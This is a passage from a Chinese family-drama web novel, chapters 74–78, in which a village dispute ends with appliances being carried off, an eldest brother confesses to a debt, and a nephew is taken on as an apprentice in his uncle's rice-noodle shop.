他们面面相觑,问道:“还有什么事?” 赵鸿利他大哥说:“我刚刚听了一耳朵,冬兰娘家前段时间买了不少好东西。 什么洗衣机、电视机、DVD机的一大堆! 我看他们买那些东西,用的钱八成是二嫁冬兰拿到的彩礼钱。 不管他们承不承认,我弟以前确实给过他们家彩礼,娶了冬兰,人既然找不到,他们也该给我弟弟一部分钱当补偿吧? 可冬兰她妈现在连钱也不想给,她不给我们就自己去拿! 趁着前面乱着,我们绕过去,从他们家后门悄悄进冬兰娘家房子里。” 这不就是偷东西? 赵如月想劝自己的兄弟们别去。 但是没等她开口,她哥已经说了:“这么做名不正言不顺,我们没法干啊…… 万一人家报警,说我们偷东西怎么办? 要是你跟冬兰娘家商量好,他们答应用那些东西当做给鸿利的补偿,我们二话不说,绝对帮忙搬。 可这么跟贼似的偷摸去,真不行!” 赵鸿利他哥看着前面冬兰娘家人快顶不住了,混乱的情况即将结束,他等不及。 扔下一句:“扯那么多,不就是不想帮忙,你们不愿意帮就算了,我找别人去。” 他撂下话,转身就去找其他人。 没找到还真有人跟他一起去。 那几个人趁着冬兰娘家人没注意到后门的情况。 把他们家的冰箱、洗衣机、电视机、DVD机,还有一对大音箱给搬上了他们来时坐的其中一辆拖拉机上。 等冬兰娘家人终于注意到的时候,拖拉机已经启动,开出去二十几米远。 冬兰她妈哀嚎一声,嗷嗷喊着赶忙叫几个儿子去追。 可拖拉机加速开起来,速度也不慢。 两条腿的人哪能追得上四条腿的车? 这下被留在现场的,除了赵如月几个人之外的所有人都傻眼了。 谁也没料到事情会是这么个发展方向。 打架的也不打了,你看看我、我看看你。 有个憨憨自以为小声,实际声音大得在场人都能听见他问:“现在……我们该怎么办?还打吗?” “打个屁!”冬兰她妈拍着大腿哭喊,“我要告到县城去,我一定要告到县城去!上法院告他赵鸿利一家子,让县城的法官大老爷们给我家做主!” 赵如月:“……” “哥,我们也回去吧?” 她哥还记着她脚扭了,疼得很,走不了路,就到她面前蹲下:“走吧,我背着你回去。” 赵如月尴尬地拍了一下他肩膀:“哥,我没事,刚刚说脚扭了是担心你们冲在前面,骗你们的。” 他哥和堂兄弟们:“……” 但是他们转而又想了想,她确实也是为了他们好,就不介意了。 要不他们几个人里,也有那冲动的小年轻,没准就真冲上去了。 现在看来,冬兰娘家和赵鸿利家都不是什么省油的灯。 虽然是同族,但已经知道那家人是什么样,他们能不被搅和进去,还是别掺和比较好。 赵如月回去后,本来还想继续跟到老宅那边去看后续。 可路过自己家时,发现店里客人竟然不少,宁绍明忙得焦头烂额,见到她也没抱怨,还让她不用担心家里,想看就去看。 赵如月哪能让他继续自己一个人忙,进屋洗了手,赶紧到店里帮忙。 赵鸿利家的事闹到那个样子,大概率没那么快结束。 赵如月猜测,冬兰娘家能摇到的人少,不一定敢找到赵鸿利家去。 等到店里的客人少了,赵如月也没再去看。 倒是想起来,宁绍贤今天乐意出门了,跟宁绍明说起这事。 “你要不要回老宅看看?” 宁绍明有点想回去,又有点犹豫:“没准还会有客人来。” “没事,我们今天准备的食材差不多快没了,有客人来我就跟客人说炒粉买完了,只有煮粉。” 煮粉赵如月还是会做的。 还有热狗面包,热狗面包的材料全都提前准备好,只需要组装,这个她也能做。 只是炒粉她练过好几次,每次炒的时候依旧会粘锅得厉害,除非放很多很多油。 可放太多油就太腻,也不划算,她干脆放弃了学这个,只在宁绍明临时有事不在的时候煮一煮米粉。 宁绍明清点过厨房里剩下的食材,确实不剩多少了。 就算后面不再有客人来,那些食材消耗不完,他们自家人也能吃完。 “那我去看看,这次可不能让他再缩回房间当缩头乌龟,不问清楚,我心里总感觉不踏实,跟身边摆着个定时炸。弹一样。” 宁绍明从厨房出来,到洗手间洗了一把脸。 擦干净后,离开店里,快步往老宅的方向走去。 第75章 “你们没跟过去看真是可惜了!” 宁绍贤在自家厨房里,边吃饭边唾沫横飞地给家里人讲自己去帮忙的情形: “我冲在最前面,十来个小伙子跟在我身后往前冲! 我第一个开打,揪着那边的一个鳖孙狠狠地揍。 本来正打得起劲,赵鸿利他哥跑过来,让我跟他去搬东西,我还没打过瘾,不想去。 可他说我去过大城市,见识广,他们那些一辈子在镇上打转的人,没见过多少世面,不知道什么东西值钱,非要我跟着去给他们掌掌眼才行。 我只好把那被我打个半死的鳖孙往旁边一扔,带着人一起冲进赵鸿利他老婆娘家的房子里。 指点他们捡着值钱的就往车上搬。 你们是没见着,其他跟着去的人傻得很,竟然………” “大哥!”宁绍明听不下去了,直接打断他的话。 来之前宁绍明听赵如月说过事情全过程。 跟他大哥说的完全不是一回事,他大哥吹牛真是不打草稿。 明明搬东西的人是悄摸从后门进的,他要是带头往前冲,赵鸿利他哥怎么可能特地去叫他。 事实上,他大哥没冲在前面,也没冲进冬兰娘家屋里搬东西。 只是在别人把东西搬出来的时候,站在拖拉机旁边帮忙搭了把手,把东西抬上拖拉机。 拖拉机启动后,他也爬上拖拉机,跟着一起提前溜回来了。 结果回来后,仗着家里人没跟着去看现场,估计也没注意到赵如月也跟着去了。 竟然把自己吹得那么劳苦功高。 不过,这种事难道真的值得用来吹嘘吗? 宁绍贤背对着门口,所以宁绍明进来的时候他完全不知道。 听到他的声音,宁绍贤一顿,那激昂的讲述直接卡壳。 “你、你怎么来了?今天你店里没生意?”宁绍贤说到宁绍明家的店,语气里不免带着点酸味。 他回来那天,虽然不是包车回来,比宁绍明回来的时候晚了点,但也是上午到达镇上。 那个时候刚好遇上集日,又是上午这个时间段。 宁绍明店里正是客人很多都时候,宁绍贤也见到了,心里越发郁闷。 这也是他不想见宁绍明的原因之一。 “现在这个时间没什么人,我媳妇儿在店里看着就行,我听说你愿意从房间里出来了,特地来看看。” 宁绍明直接拽着他坐下,然后自己搬了一把椅子放在厨房门口的位置,坐在椅子上堵住门口。 摆出一副今天要是问不出来他们在鹏城发生的事,他就不走了的架势。 宁绍明对宁绍贤早就知道自己大哥是个什么样的人,对他已经没什么期待了。 宁达也默不作声地悄悄站到厨房通向后院的后门前,防止他从后门跑。 宁绍明其实真的不想管他大哥的事,但是他大哥跟大侄子的工作都是他介绍的。 他得知道,他大哥有没有在鹏城带回来什么随时会爆。炸连累到自家的雷。 另外,大哥虽然不行,但大侄子是个好的。 叫大侄子帮忙干点什么,他从来都是一叫就乐呵呵地去干,没有一句抱怨。 从鹏城回来的这些日子,大侄子知道他店里一般早上比较忙。 几乎每天早上都去帮忙,一帮就是一上午。 过了中午饭点客人来吃东西的第二个高峰期,才去做他自己的事。 可以说这个大侄子除了嘴馋,没什么缺点。 其实宁绍明和赵如月都觉得,嘴馋也不算什么缺点只是以前家里穷,谁吃得多了,其他人那一份就少了,才容易引起矛盾。 现在家里条件没那么难过,只要吃东西不暴食,不影响身体,嘴馋真不是什么缺点。 宁绍明挺想拉大侄子一把,可大哥是大侄子亲爹。 他身上要是埋着雷,那雷一炸开,第一个被连累到的就是妻子儿女。 更严重一点,还会波及到自己这个当兄弟的。 宁绍贤知道他这三弟平时不爱生气,可一强硬起来,他跟老二捏在一起也打不过。 别看老二是体育老师,长得也挺高大的,实际参加工作后,养出了一身肥膘,只是看起来彪悍。 仗着是老师,吓唬吓唬学生还行,来真格的八成连他都打不过。 老三可是连大铁锅也能抡起来颠勺,一上午都不怎么累的人。 看老三好像是真生气的样子,宁绍贤心里也打怵。 只能摆起脸色,先指责别人,他没好气道:“看我干什么?我一个快四十岁的老菜帮子,有什么好看的!摆出这架势,我是犯罪了还是怎么的,要搞三堂会审啊?” 宁绍明不跟他掰扯这个,跟他掰扯容易陷入他的强盗逻辑里,根本掰扯不清楚。 他直截了当地说:“你必须得告诉我,你们在鹏城到底发生了什么事。 让你那么着急忙慌地跑回来,连小春也带回来了。 你们可都是我介绍去的,你这样我怎么跟经理交代? 人家那么信任我,结果我介绍去的人一声不吭跑了。 跑的还是跟我关系最近的大哥和侄子! 经理打电话来问我怎么回事,我一问三不知,都不知道怎么回答人家,面子全丢光了。 你的面子值钱,我的面子就能随便糟蹋吗?” 其实经理根本没打电话来给他,毕竟黄文发还在酒店,要问也是问黄文发比较方便。 不过这不耽误他狐假虎威,拿经理当借口,反正他大哥又没有经理的电话号码。 就算有,他这么溜回来,也不一定敢找经理验证真伪。 宁绍贤听到宁绍明的话,又看着家里人全都向着他的架势,心里明白,自己这回不说不行了。 他一屁股在椅子上坐下,一副破罐子破摔的样子:“还能发生了什么事,我跟人做生意,把这几个月的工资,还有小春存在我这里的工资全赔进去了。 还拉了几个工友一起投钱,全陪了,人家叫我还钱,我还不上,只能跑回来,就这件事。 我觉得丢脸所以回来后不想见人,也不想跟人说。 我不如你,有贵人相助,干什么都能挣钱。 你现在听完了,满意了吗!” 宁绍明听完心里没什么波动,他总觉得这不是事情的全部。 但估摸着,他大哥隐瞒的应该只是其中的细节。 知道只是这种事,连累不到自己的小家,宁绍明心里松了一口气。 倒是宁达和黄秀华听到宁绍贤欠了人家的钱,大惊失色:“你欠了人家多少钱!” 宁绍贤撇了撇嘴:“一万多。” 黄秀华觉得丢死人了,就像当初怕宁绍明的货卖不出去,被人找上门要债一样。 她也担心哪天宁绍贤的债主就找上门来,让她在十里八乡把老脸丢尽。 之前宁绍明还只是卖货,没真的欠人钱。 这回宁绍贤可是真真切切地欠了别人一万多块钱! 她焦急地问:“一万多到底是多少?一万零几块钱是一万多,一万九千将近两万也是一万多,你倒是说清楚啊!” 宁绍贤的眼睛根本不敢看她,也不敢跟屋里任何人对视。 他低头盯着地板,小声说了一句:“一万五千多。” 黄秀华很想晕过去,她跟宁达压箱底的养老钱和棺材本,全部加起来也才一万一千多。 当初分家的时候,她也是留了点心眼的。 拿出来分的钱根本不是所有的钱,她就赌几个儿子不会追根究底,非要查他们老两口到底有多少钱。 后来他们果然没深究,分家这事就这么过去了。 现在她一想到自己的钱可能要给老大填坑,只觉得晴天霹雳。 同样觉得晴天霹雳的还有宁时春和王海燕。 “爸,你说你帮我存的钱全都赔光了?” 面对儿子,宁绍贤就没那么忌惮了,他摆起当爹的架子:“是,怎么的,我是你亲爹,生你养你到这么大,白养了吗?你还想让我赔钱?” 很显然,宁时春的钱算是打水漂了。 他第一次遇到这样的事情,一个大小伙子,直接被他爸的蛮不讲理和出尔反尔气哭: “你你你……你简直不讲道理!你当初说过那是帮我存着,以后给我娶媳妇儿的钱!” “毛都没长齐,娶什么媳妇儿,以后你再挣呗!” 宁绍贤很光棍,他就仗着自己是宁时春的亲爹,不把钱还给他,他也不能拿自己怎么样。 要是宁时春敢对他动手,不管是为了什么而动手。 只要不是要人命的大事,宁绍贤出去外面说一说哭一哭,装装可怜。 也会有一些奉行‘天下无不是的父母’这一类道理的人觉得,宁时春无论如何都不该对自己亲爹动手,打亲爹就是不对。 但宁时春不好对他动手,不代表家里就没人能对他动手。 夫妻打架,只要不闹到离婚的地步,大部分人都是看热闹。 王海燕深知这一道理。 她嗷地一声就扑过去,左右开弓,冲着宁绍贤脸上猛甩了几个耳光。 边打边骂:“你个王八蛋!你敢骗我!你们当初给我打电话,明明说你们只是学徒,刚开始半年,每个月只能领五百块钱工资。 扣掉房租和杂七杂八的费用,只剩下五百,还要留三百五两个人当做一起花销和应急的钱。 每个月只给我寄回来一百五,两个王八蛋!你们爷俩联合起来瞒着我是吧!” 宁绍贤直接被打懵了,躲也躲不开,还手也还不了。 宁时春也被他妈突如其来的爆发,吓得躲到了他三叔身后。 第76章 “别动手别动手,有话好好说……”宁绍明象征性地劝了几句,但没上去拦。 黄秀华看到儿子被儿媳妇打,倒是下意识想冲过去拦住。 可一想起宁绍贤做的事,她就强忍住了没上去,想让他得个教训,就也站在原地只出一张嘴。 看着大儿子被压着打很解气,心想:这种败家玩意儿就该打一顿! 可看了一会儿,发现宁绍贤脸都被打肿了,那惨兮兮的样子有点可怜。 而且王海燕把人都打成猪头了,还没停手的意思,她又觉得王海燕这样有点过了。 “行了行了,别打了,你现在再打他有什么用!老三,你赶紧上去把他们俩拉开!” 宁绍明不想管,人家夫妻打架,他凑上去做什么? “我一个小叔子,哪能对大嫂动手?妈你自己拉吧。” 黄秀华噎了一下,恨铁不成钢地瞪他一眼,只能转头叫宁时春。 两个人一左一右把王海燕从宁绍贤身上拽起来。 王海燕喘着粗气,刚站稳,往右边看了一眼。 发现拉自己的是宁时春这倒霉儿子,气又不打一处来。 反手也给了宁时春一耳刮子:“打死你个小王八犊子!跟你那死鬼爹不学好,敢合起伙来骗老娘,看老娘打不死你!” 宁时春不像他爸。 宁绍贤被打得翻不了身,嘴巴还骂骂咧咧地刺激王海燕,结果就是被打得最严重。 宁时春不敢还嘴,闷不吭声地受了王海燕一耳光和一连串的谩骂,好歹让她的火气消减了一点。 宁时春看她没那么凶了,才敢弱弱地解释:“其实也不全是骗你,房租水电还有一些日常的花销和平时打电话回来的电话费,我跟我爸各出一半,剩下的钱,我本来想寄回来给你一半,但是我爸不同意,他说、他说……” 说到这里宁时春吞吞吐吐的不敢说完。 他小心瞄了王海燕一眼,像是说出来怕她又暴起打人。 “他说什么?你说话别说一半膈应人,不然别怪我收拾你!”王海燕盯着他,非要他说出来。 宁时春想着这屋里爷爷奶奶上了年纪,不一定拦得住他妈,就三叔看起来最靠谱。 他悄悄往三叔那边靠。 靠近了,一闭眼不管不顾地将他爸曾经劝自己的话全部抖落出来: “他说,你向着娘家,总是拿婆家的东西去贴补娘家,贴补我舅舅。 我舅舅还没结婚,我的钱寄回来给你,你肯定先拿去给我舅舅娶媳妇儿。 我舅舅就大我几岁,等过几年轮到我娶媳妇儿,家里的钱被你搬回娘家去,我就要继续打光棍。 再重新存几年钱,年纪也大了,我们家又不是什么有钱人家,到时候肯定找不到好人家的女儿。 再惨一点,可能还要娶个傻子。” “他还说,不管怎么样,我是他唯一一个儿子,是家里的长孙。 要给他和老宁家传宗接代,谁不管我的婚事,他都不可能不管。 我才把钱交给他存的,不过他跟人做生意的事,我是真不知道。” 王海燕听得头嗡嗡响,恨不得直接晕过去。 但也有一部分被说中了。 她恼羞成怒地呸了一声:“你老宁家有个屁的东西让我搬回娘家去! 你个没良心的白眼狼,老娘生你不如生个叉烧! 你舅舅对你多好,多疼你,哪次你去你舅舅家,他不给你做好吃的、不带你到处去玩? 你竟然这么想他!他真是白疼你了!” “你可别招笑了,还你弟弟给小春做好吃的,什么好吃的? 炒白粥加点猪油加点盐就是好吃的了? 人家老三媳妇儿她娘家天天给小秋和小夏炒蛋炒饭都乐意! 小春一年到头就去你娘家一两次,去了也只剩吃上猪油炒白粥,说出去别笑死人!” 宁绍贤脱身后,本来躲王海燕躲得远远的,一听到王海燕的话,他又忍不住凑上去嘴贱: “你也好意思嫌弃我老宁家,也不看看你娘家怎么样! 我家要是没好东西,你那村里的娘家,一群乡巴佬不是更穷? 要不当年怎么死乞白赖非得把你嫁到镇上?” 王海燕听了又想抽他,可宁绍贤有了防备,她没能像刚才那样成功。 只能指着宁绍贤破口大骂:“王八蛋,你骂谁乡巴佬?你以为你是什么高贵的城里人?你不也是个农村人,你得意什么,你凭什么看不起我娘家!你个挨千刀的!” 然而宁绍贤接下来的话,让王海燕嘴里的骂声瞬间哑了火。 “你敢说我们寄回来的钱,你全花在丹萍和你自己身上了,没给你娘家弟弟?” “我没给!”王海燕声势弱了些,但还在嘴硬。 夫妻这么多年,宁绍贤不信她不给。 “那我现在马上去找你弟弟要他还钱,我看他敢不敢不还!” 王海燕张了张嘴,说不出话来了。 以前王海燕贴补娘家,宁绍贤也知道。 只是那些钱多是王海燕卖点她自己开荒种的菜或者果子挣的,他那时候不缺钱花就没多管。 宁绍贤说着就要站起身出去。 “不行,你不许去!”王海燕慌了,她知道把宁绍贤惹急了,这种事他真能做得出来。 她给娘家钱时,一直都说自己拿钱回去婆家人都知道,但是公婆和丈夫都不介意,以显示自己在婆家有地位。 每次她给娘家钱,她爸妈在六个姐妹面前夸她,那些姐妹们都羡慕她得很。 宁绍贤去要钱,那不是在她娘家把她的脸皮剥下来踩? 到时候她面子里子全没了,以后还有什么脸面回娘家? 黄秀华气恼地狠狠一拍桌子:“好了,别吵了!吵架有什么用!” 宁达也觉得头疼:“所以现在不但老大跟小春自己存的钱全都打了水漂,他们寄回来给我老大媳妇儿的钱,也要不回来了,是这样吧?” 宁绍贤、宁时春和王海燕互相看看这个,又看看那个,默默点头,不说话了。 “唉……”黄秀华长叹一口气说道,“现在最要紧的是赶紧凑够钱,把欠下的债还上, 别让人找上门来,闹得太难看。” 可要她把自己跟老头子的全部家底拿出来,她也不舍得。 要不是手里有钱,当初分家,他们老两口哪有底气提出自己住? 而且现在把那么多钱拿出来,家里人不就都知道他们藏私了? 钱全给老大拿去填坑,老二和老三心里能没有意见? 黄秀华看向宁绍明,现在家里除了他们老两口。 估计也就老三兜里还能有点钱。 兄弟之间互相帮助也是应当。 她生这么多孩子图的是什么? 除了养儿防老,不就是图他们遇到事情的时候,几个孩子之间可以团结互助! 黄秀华本来想让宁绍明主动开口,拉他大哥一把。 可宁绍明像是感受不到她的目光,完全不跟她对视。 无奈之下,黄秀华只好直接点他:“老三,你现在有多少钱能用?” 这话一出,宁绍贤和王海燕齐齐看向宁绍明。 两人心里都期盼着,老太太能帮他们从老三那里多薅一点钱。 谁知宁绍明不说不愿意帮,也不说愿意帮。 只是两手一摊说:“我家不是我管钱,你问我没用。” 黄秀华原本就因为之前的事,在单方面跟宁绍明冷战。 刚刚想让他帮宁绍贤的忙,态度才稍稍和蔼了些,谁知道自己这个当妈的都主动给他递台阶了,他竟然也不下。 黄秀华脸色瞬间沉下来:“你是你们家的一家之主,怎么能不管钱? 你看看你大哥家,有点钱,全被你大嫂搬回娘家去了。 你媳妇儿娘家在她家族里也不算富裕,你可不能什么都由着她!” 宁绍明对她的话不为所动:“你别只说我啊! 你跟我爸结婚后,家里的钱不也都是你管着吗? 以前你还说过,谁家不给女人管钱,谁家旺不起来。 妈,你不会不希望我家旺不起来吧?” “那你去找你媳妇儿来,算了,你别去,让小春去跑腿。” 黄秀华担心宁绍明一走就不回来了,指挥宁时春去。 宁时春看一眼奶奶,又看一眼三叔。 直觉告诉他,以后要是还想跟三叔维持像以前那么好的关系。 现在不能听奶奶的,得等三叔发话。 宁时春只是不够伶俐,不是傻。 他知道自己亲爹显然不靠谱,二叔是个吝啬又清高的。 二叔和二婶一向看不起他和他家人,这一点他很小就感受到了。 他妈又偏向娘家,总惦记补贴他舅舅。 以后他有事,找父母帮自己想办法,还不如找三叔。 黄秀华看他犹犹豫豫、窝窝囊囊的样子就来气:“小春,我叫你去喊你三婶来,你没听见啊?” “我、我、三叔、我……”宁时春看想宁绍明。 宁绍明看不惯她为难老实孩子。 皱着眉说:“妈,你别为难小春,我媳妇儿还要看店呢,没人去替她看店,谁去叫她,她都走不开。” 宁绍贤冷哼一声:“刚才你不是还说,现在这时间客人不多?” 宁绍明瞥他一眼:“客人不多不代表没有客人,就算只有一个客人来,也多少能挣点,毕竟苍蝇腿也是肉。 我们做的小本买卖,挣点辛苦钱,比不上大哥你,在外面做些以万为单位的生意。” 宁绍明心说,不就是阴阳怪气地说话, 当谁不会呢? 他以前只是看在都是一家人的份上不喜欢这样,可不代表他不会。 以往都是宁绍贤阴阳别人,这回轮到他被阴阳怪气地嘲讽,他竟然感觉很不可思议,也无法接受。 气急之下脱口而出:“你爱帮不帮,谁稀罕!” 不过说完他就后悔了。 王海燕想说自己稀罕。 可宁绍明已经话赶话地抢先说道:“那正好,妈你听见了吧,我大哥说不稀罕我帮忙,那我先走了。” 反正他本来就打算一毛不给,说完真站起身,头也不回地离开了。 第77章 这举动,连宁达都有点惊讶。 他以为不管怎么样,老三多少也会拿一点钱出来,先帮他大哥渡过难关。 哪怕只给个一两千、两三千也好啊! 现在可怎么办? 真要榨干他们老两口去填老大这个窟窿? 留在厨房里的人全傻眼了。 宁时春趁着他们又吵起来,互相推卸责任埋怨对方把他三叔气走,没注意到自己,也悄悄跟着宁绍明离开了。 反正留在那里也解决不了他爸的问题,不如问问三叔,自己接下来该怎么办。 不读书了,总不能一直这么待在家里无所事事。 宁绍明注意到了跟上来的宁时春,放慢脚步等他。 两人沉默地走了一会儿,宁绍明问他:“你以后有什么打算?” 宁时春摇头:“我现在也不知道该怎么办,我想回鹏城的酒店继续干,可这条路被我爸堵死了。” 他担心去鹏城会被他爸的债主找上门。 在鹏城时,长辈们担心他和另外几个跟他年龄相仿的小辈在那边跟人学坏。 经常会说一些很恐怖的传闻。 比如鹏城的**,打起来比古惑仔电影里还凶狠,电影里都是美化过的。 要是他们谁跟乱七八糟的人混,被人家死对头抓走,可不是被打一顿这么简单。 听说有人前一天晚上被抓走,第二天被发现躺在街角。 发现他的人还以为是乞丐在那里睡觉,担心影响自己店里的生意,想把这乞丐赶走。 谁知上去一看,那个人的肚子都被掏空,内脏全都不见了,只剩下一个空壳子。 还有说一个男的出来打工瞎混,过完年返工,在火车站就被抓了。 他老娘好几年等不到他回家,眼睛都哭瞎了。 他老婆也带着他的孩子改嫁。 他孩子在继父家里,天天被打被骂、吃不饱饭,还要给人家干活。 后来有一天,他老婆跟二婚老公去东南亚旅游。 在某个畸形秀的秀场看到他。 但是他的四肢已经被人砍掉,塞进花瓶里让人观赏。 诸如此类一大堆听说来的传闻。 他们也不知道是真是假,但不影响他们用来吓唬年轻人别乱来。 年轻人们刚开始也不信,宁时春也是。 总觉得大人们跟小时候给他们说狼外婆的故事一样,是故意吓唬他们。 直到有一天,他跟几个住得比较近的工友下班一起回家。 走在路上,经过一条街,那时候太阳还没下山,路灯也没亮起,可以说是青天白日。 有两个人也是很正常地走在路上,突然就被从小巷子里冲出来的几个人连续捅了好几刀。 后来听说,那两个人是父子,当爹的也是欠债不还,想跟老婆假离婚,转移财产。 然后先把家人送出国,自己再跑路,被债主发现了。 债主直接找道上的人连那个带他儿子一起收拾了。 他们全都吓懵了,从那时候开始,宁时春就把长辈们说的话当了真。 平时下班最多跟老乡或者工友去公园、商场这些人多,又看起来比较安全的地方逛逛,也不怎么花钱。 别说夜场、KTV,他连租影碟的店都不去了。 所以他一听到他爸在鹏城欠债,吓得要死,恨不得跟他爸断绝关系。 鹏城肯定是不敢再去了。 “你有没有感兴趣的事?或者别的想做你事?”宁绍明又问。 “感兴趣的事?”宁时春想了又想,有点不好意思地说:“我就爱吃点好吃的。” 舍不得人鹏城那个工作,也是因为在后厨能吃到很多好吃的东西,还不用花钱。 他们两个人说着话时,已经走到宁绍明店门口。 看里面没客人,就坐在门口的椅子上聊。 赵如月听到动静出来,听到了后面的一点。 不明所以地问了一句再聊什么。 宁绍明简单把老宅那里发生的时,和宁时春的烦恼跟她说了一下。 赵如月想了想问宁时春:“小春,你能管得住你爸妈吗?” 宁时春苦笑:“三婶,你看他们那样,是我能管的吗?我大概只能管好我自己。” “我刚刚说的话有歧义,我的意思不是让你去管他们,我的意思是,如果你又得了一个好工作,你能保证他们不去你工作的地方捣乱吗? 你能不能下定决心,拒绝他们插手你们工作和生活? 就像你三叔一样,你三叔以前去砖厂干活,能养活自己之后,就敢拒绝你爷爷奶奶提出的很多不合理要求了。” 宁绍明的工资也不全给家里。 结婚前他只给家里三分之一,剩下自己存着。 结婚后多了一个人跟他回家吃饭,他才给了家里一半工资。 婚后他那些存款就全交给了她。 她爸妈愿意让她嫁给他,也有这个原因在。 要不只凭着他爸妈嘴上承诺给房子,见不着一点实实在在的东西,怎么会答应。 听完三婶的话,宁时春心里豁然开朗。 他心想自己真是傻,明明面前就有个值得学习的榜样,之前也隐约觉得要跟三叔走近些对自己好,却一直没想明白该怎么做。 其实三叔结婚前他就懂事了,亲眼看着三叔谈恋爱、结婚。 宁时春想起来,当初三叔跟三婶背着人偷偷去约会,还拿他当挡箭牌来着。 说要带他去玩,其实是让他去当电灯泡的。 如今三叔有了家庭、有了孩子,一步一步走到现在,家庭美满。 还学得了一门手艺,开店拥有了自己的事业。 所以很多事情的处理方式,他照着抄就行了! 宁时春想通后,也隐约明白了三婶为什么跟自己说这些。 他激动得说话都喷口水了:“我能!我一定能处理好那些事!” 宁绍明也明白了赵如月的意思:“你想让小春来店里帮忙?” 不然不会担心他管不了他父母。 “嗯,我是这么想的,既然小春只对吃好吃的感兴趣,那他学厨肯定能学得下去。 不如让他来帮忙,店里不忙的时候,你就教他些手艺,以后他也能有个立身的本事,要不你大哥大嫂那么不靠谱,以后他怎么办?” 另外,赵如月没说的是宁时春在鹏城酒店的后厨干了几个月。 一些基础的东西肯定会了,多少能让宁绍明轻松些。 饭点人多的时候,他是真的累,厨房里又热。 别说趁着间隙吃点东西喝点水了,身上的汗跟雨水一样往下流,也不一定有时间去擦。 自己没准还真能捡漏一个能干的帮手。 宁时春要是在酒店后厨学得不好,干活不认真,领导不会夸他。 像黄文发,在厨艺这方面没天赋。 虽然学得认真,练久了以后也能继续干这一行。 但他在那里工作那么久,就没被领导夸过。 要不然,以黄文发那咋咋呼呼的个性,被夸了肯定不会不跟宁绍明说。 宁绍明每个月也会跟黄文发通电话,互相聊聊彼此的近况。 宁时春说自己在后厨干得不错,得到过夸奖这些事是真是假,以及做了什么被夸奖,他一问就知道。 这种事黄文发不会瞒着宁绍明。 宁时春爱吃,为了一口吃的,多辛苦都不怕,其实真的很适合学厨艺。 “我们一个月先给小春开三百块钱工资,三餐跟我们一起吃,加上你教他手艺,这样也不算亏待他了。” 三百块钱看起来很少,只有宁时春在鹏城工资的三分之一不到,可镇上的工资水平就这样,不可能因为是侄子,一上来就给很高的工资。 镇上跟人学手艺当学徒,可没有那么好的待遇。 一般第一年不给工资,只包学徒的三餐,第二年给一点工资,但是也不多,就赵如月知道的那些,大概也就给一百多两百块钱。 宁绍明跟宁时春叔侄俩关系好,宁时春小时候都是宁绍明带得多,总是爱跟在宁绍明屁股后面跑。 后来她生下宁时秋,宁绍明上班不在家的时候,她有事要忙,也是宁时春帮她看孩子。 要是以后宁时春过得不好,宁绍明很难做到袖手旁观。 与其救济,不如让他有独立的能力,让他自立起来,对她自家也有好处。 毕竟授人以鱼,不如授人以渔,之后如果宁时春学得好,他自己就能开一家店,不用一直给人打工了。 反正宁时春不开店,镇上也会有别的人跟风开,这钱便宜外人,不如让自家侄子挣。 而且老大家有个人能挣钱,以后宁绍贤夫妻俩遇到事,也不会总惦记着薅她家羊毛。 他们总是闹出点事情来,真是不够烦人的! 宁时春回来那么多天,也想过要不要跟三叔说想去他店里帮忙。 可是他又不好意思说出来,总觉得那样会让三叔为难,他就只在店里忙的时候去帮一下。 他完全没想到,三婶竟然会主动提出来让自己去店里干活。 宁时春感动得说不出话来,一个大小伙子,眼眶都红了。 宁绍明拍拍他的肩膀:“你来帮忙那么多次了,对店里也熟,明天没什么别的事就来干活,我明天不忙的时候教你点别的。” 他们原先想着,等赵如月去县城采购食材,顺便买个打蛋器回来。 这样宁绍明做蛋黄酱就不用那么辛苦。 做蛋黄酱剩下的蛋白也能利用起来,做点蛋糕或者面包之类的,在店里试着卖一卖。 可赵如月去县城那天,找了好几个地方,竟然没找到。 这个计划只能暂时搁置,煎蛋也继续送着。 赵如月又回娘家,另外拜托在市里工作的亲戚,回老家的时候顺便帮忙买一个捎回来。 她托人买的东西今晚就能到,明天用上之后,送煎蛋的活动就真的要结束了。 第78章 老宅那边还在为了宁绍贤欠债的事鸡飞狗跳,宁时春已经做好了重新有班上的准备。 黄秀华以为宁绍明愿意让宁时春去他店里干活,还给宁时春发工资,表示他是心软了,可能好面子,不好意思说,才拐着弯让别人猜。 她主动上门,问宁绍明:“你真不能看在小春的面子上,帮你大哥一把?” 宁绍明气笑了,总是被这么反反复复地来找事,真是把他烦得不行。 宁绍明干脆直接放了狠话:“你再跟我说这些乱七八糟的事,小春也不用来了,你把他带回去帮大嫂种地吧。” 接二连三地在宁绍明这里没讨到任何好处,黄秀华终于真正地意识到,自己根本无法左右老三的想法和行为,只能无奈地放弃,转头去找老二。 宁时春还正式没上班,就听说奶奶借着他的事又去找三叔,吓得赶紧跑到他奶奶面前嗷嗷哭,恨不得直接给她跪下。 “我好不容易有个工作,三叔也答应有空会教我手艺,算我求您了,奶奶,别再惹我三叔行吗?” 黄秀华恼羞成怒:“你这是什么屁话?我是他亲妈,没事找他说几句话都不行?” 宁时春才不信她没事会去找他三叔说话:“我知道你为了我爸欠下的债忧心,可我爸的债主不是还没找来么,我们全家一起干活挣钱,慢慢攒钱还人家行不行?” “你三叔一个月给你多少钱?”黄秀华趁机问。 要是给的多,他们老两口也不用拿那么多出来填坑。 “一个月三百块钱。” “才给三百?你可是他亲侄子!一个月三百够什么用?你一年不吃不喝不买别的东西,把工资全攒起来,也才有三千六。” 宁时春觉得他奶奶飘了,她现在竟然连三百块钱都看不上。 可镇上多少人,一个月连两百现钱也见不着? 曾经他们家不也这样穷吗? 现在家里也没发达啊,只是日子比以前好过了一点而已,怎么就连三百都敢看不上了? “我三叔还包我三餐,小秋和小夏在长身体,三叔家平时也要进货,他家吃得可不差,几乎顿顿有肉。 你难道不知道镇上学徒什么待遇吗? 我三叔给的这待遇要是传出去,我不干,有的是人愿意干,你再去找他闹,到时候把三叔三婶惹恼了,真不让我去,我爸的债,得什么时候才能还完?” 黄秀华吭声了,她也知道宁时春说的话有道理。 但同时也觉得大孙子原本那么老实的孩子,跟老三混久了,也被传染了一些他那混蛋样,说出来的话真是让人听着不爽。 王海燕本来也想去求求宁绍明夫妻俩,可宁时春跟黄秀华说的话她也听到了。 她顿时不敢再乱来,生怕连一年三千六也打水漂。 毕竟她儿子说的话确实有道理,以老三给的待遇,她儿子不去,可有的是人愿意去。 就她知道的,老三媳妇儿的娘家,家族那么大、人数那么多,她族里不管远的近的、堂的表的,都有不少小年轻没活干,又不想出去打工,万一真把老三夫妻俩惹恼了。 老三媳妇儿回她娘家招人,把自己儿子换了怎么办? 老宅这事没传到赵如月耳朵里。 